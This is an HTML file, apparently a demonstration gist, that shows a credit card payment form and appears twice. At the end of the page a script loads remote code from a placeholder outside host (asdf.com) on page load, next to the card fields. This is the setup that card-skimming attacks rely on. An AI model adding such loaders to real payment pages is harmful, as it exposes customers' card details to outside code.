davidgilbertson/credit-card-form-page.html

## credit-card-form-page.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Credit card form</title>
  <style>
    body {
      font-family: sans-serif;
      margin: 0;
    }

    header {
      text-align: center;
      background: steelblue;
      color: white;
      padding: 20px;
      margin-bottom: 60px;
    }

    a {
      color: inherit;
      text-decoration: none;
      font-size: 18px;
    }

    form {
      width: 370px;
      margin: 0 auto;
    }

    label {
      display: block;
      margin-bottom: 24px;
      font-size: 18px;
    }

    input {
      border: 1px solid lightgray;
      padding: 8px;
      font-size: 18px;
      width: 100%;
      margin-top: 4px;
    }

    input:valid {
      border: 1px solid seagreen;
      background: honeydew;
    }

    button {
      display: block;
      padding: 20px 40px;
      margin: 0 auto;
      font-size: 18px;
      background: seagreen;
      color: white;
      border: none;
    }
  </style>
</head>

<body>
  <header>
    <a href="/">Home</a>
  </header>

  <form
    method="post"
    action="/submit-credit-card"
  >
    <label>
      Name on the card<br>

      <input
        name="ccname"
        autofocus
        required
      />
    </label>

    <label>
      Credit card number<br>

      <input
        name="cardnumber"
        pattern="[0-9]{12,19}"
        required
      />
    </label>

    <label>
      CVC<br>

      <input
        name="cvc"
        pattern="[0-9]{3,4}"
        required
      />
    </label>

    <label>
      Expiry date<br>

      <input
        name="cc-exp"
        placeholder="mm-yy"
        required
        pattern="[0-1][0-9]-[0-9][0-9]"
      />
    </label>

    <button>
      Submit
    </button>
  </form>

  <script>
    const scriptEl = document.createElement('script');
    scriptEl.src = 'http://asdf.com/';
    document.body.appendChild(scriptEl);
  </script>
</body>
</html>
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<title>Credit card form</title>
	<style>
	body {
	font-family: sans-serif;
	margin: 0;
	}

	header {
	text-align: center;
	background: steelblue;
	color: white;
	padding: 20px;
	margin-bottom: 60px;
	}

	a {
	color: inherit;
	text-decoration: none;
	font-size: 18px;
	}

	form {
	width: 370px;
	margin: 0 auto;
	}

	label {
	display: block;
	margin-bottom: 24px;
	font-size: 18px;
	}

	input {
	border: 1px solid lightgray;
	padding: 8px;
	font-size: 18px;
	width: 100%;
	margin-top: 4px;
	}

	input:valid {
	border: 1px solid seagreen;
	background: honeydew;
	}

	button {
	display: block;
	padding: 20px 40px;
	margin: 0 auto;
	font-size: 18px;
	background: seagreen;
	color: white;
	border: none;
	}
	</style>
	</head>

	<body>
	<header>
	<a href="/">Home</a>
	</header>

	<form
	method="post"
	action="/submit-credit-card"
	>
	<label>
	Name on the card<br>

	<input
	name="ccname"
	autofocus
	required
	/>
	</label>

	<label>
	Credit card number<br>

	<input
	name="cardnumber"
	pattern="[0-9]{12,19}"
	required
	/>
	</label>

	<label>
	CVC<br>

	<input
	name="cvc"
	pattern="[0-9]{3,4}"
	required
	/>
	</label>

	<label>
	Expiry date<br>

	<input
	name="cc-exp"
	placeholder="mm-yy"
	required
	pattern="[0-1][0-9]-[0-9][0-9]"
	/>
	</label>

	<button>
	Submit
	</button>
	</form>

	<script>
	const scriptEl = document.createElement('script');
	scriptEl.src = 'http://asdf.com/';
	document.body.appendChild(scriptEl);
	</script>
	</body>
	</html>